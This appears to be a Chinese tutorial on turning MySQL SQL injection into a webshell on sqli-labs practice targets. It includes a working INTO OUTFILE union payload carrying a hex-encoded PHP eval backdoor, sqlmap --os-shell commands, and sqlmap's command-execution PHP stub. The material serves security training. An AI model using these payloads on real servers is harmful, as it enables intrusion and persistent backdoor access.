一. into outfile
利用条件
1. 此方法利用的先决条件
- web目录具有写权限，能够使用单引号
- 知道网站绝对路径（根目录，或则是根目录往下的目录都行）
- secure_file_priv没有具体值（在mysql/my.ini中查看）
2. secure_file_priv
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为null。如下关于secure_file_priv的配置介绍
- secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制
所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv 的值设为没有值，那如何设置了？修改secure_file_priv 的值只能通过手动打开配置文件进行修改，不能直接使用sql语句进行修改
（1）看secure-file-priv参数的值
show global variables like '%secure%';如下，secure_file_priv 的值默认为null，则表示限制mysqld 不允许导入|导出
（2）修改secure_file_priv 的值
我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数，如果没有的话我们就添加 secure_file_priv = ' ' 即可
此时再查看secure_file_priv的值如下已经变为空了
设置完成后我们就可以利用这个函数来写入一句话木马
写入webshell
我们以sqli-labs第七关为例
1. 注入点判断
输入正确的语法正常显示，错误的语法显示说语法错误，页面只存在两种状态，判断为盲注。我们输入?id=3')) and sleep(5) -- 时成功延时，所以注入点就为3'))，我们输入的字符被包含在单引号中，且单引号外有两个双引号包裹
2. 判断列数
我们使用order by 语句判断列数，order by 3时，正常显示，4时不正常，判断为3列
3. 写入webshell
加如此前我们已经通过一些方法获取到了网站的根目录，则可以写入一句话 “ ”。一句话建议进行十六进制转码（不用编码也可以） 16进制转换，16进制转换文本字符串，在线16进制转换 | 在线工具
编码后，然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'c:\\users\\administrator.win2012\\desktop\\phpstudy\\www\\outfile.php' --
成功写入，这里网站的目录要使用双斜杠不然会写不进去，第一个斜杠是转义的意思，字符串解析不仅仅局限于c编译器，java编译器、一些配置文件的解析、web服务器等等，都会遇到对字符串进行解析的这个问题，由于传统的 windows采用的是单个斜杠的路径分隔形式，导致在对文件路径进行解析的时候可能发生不必要的错误，所以就出现了用双反斜杠"\\"分隔路径的形式。 不管解析引擎是否将反斜杠解析成转义字符，最终在内存中得到的都是"\"，结果也就不会出问题了。
4. 连接webshell
成功连接
如果我们将 secure_file_priv的值为设置为null，我们在进行上面的写入操作发现并没有写进去。
所以没有写进去的情况有两种：
- 网站的路径不对，或者没有使用双斜杠进行转义
- secure_file_priv的值不是为空
二. --os-shell
原理
--os-shell就是使用udf提权获取webshell。也是通过into oufile向服务器写入两个文件，一个可以直接执行系统命令，一个进行上传文件
此为sqlmap的一个命令，利用这条命令的先决条件：
- 要求为dba，--is-dba（phpstudy搭建的一般为dba）
- secure_file_priv没有具体值
- 知道网站的绝对路径
- gpc为off，php主动转义的功能关闭
使用
1. 测试
我们以sqli-labs第一关为例
sqlmap -u http://192.168.43.145/2_shotting_range/sql/less-1/?id=1 --os-shellsqlmap在指定的目录生成了两个文件（文件名是随机的，并不是固定的）：
- tmpbeewq.php 用来执行系统命令
- tmpuqvgw.php 用来上传文件
1. tmpbeewq.php的文件内容为
&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=null;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=null;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"$w
";?>访问一下
2. 使用tmpuqvgw.php上传文件
我们上传一个php的一句话后门
访问
所以这两种方式都需要知道网站的绝对路径才行。
补充：
上面说了sqlmap写入webshell的方式有三种，缺一不可
- web目录具有写权限，能够使用单引号
- 知道网站绝对路径
- secure_file_priv没有具体值（在mysql/my.ini中查看）
在最近的一次护网中，我使用sqlmap写webshell，知道了网站的根目录，还是写不进去。就是由于secure_file_priv的值为null。那怎么知道这个值是什么了
--sql-shell
我们可以先使用这个来执行一些sql语句，如这为实战中的测试
输入sql语句
select @@secure_file_priv
提示为null
所以就会出现，如下的错误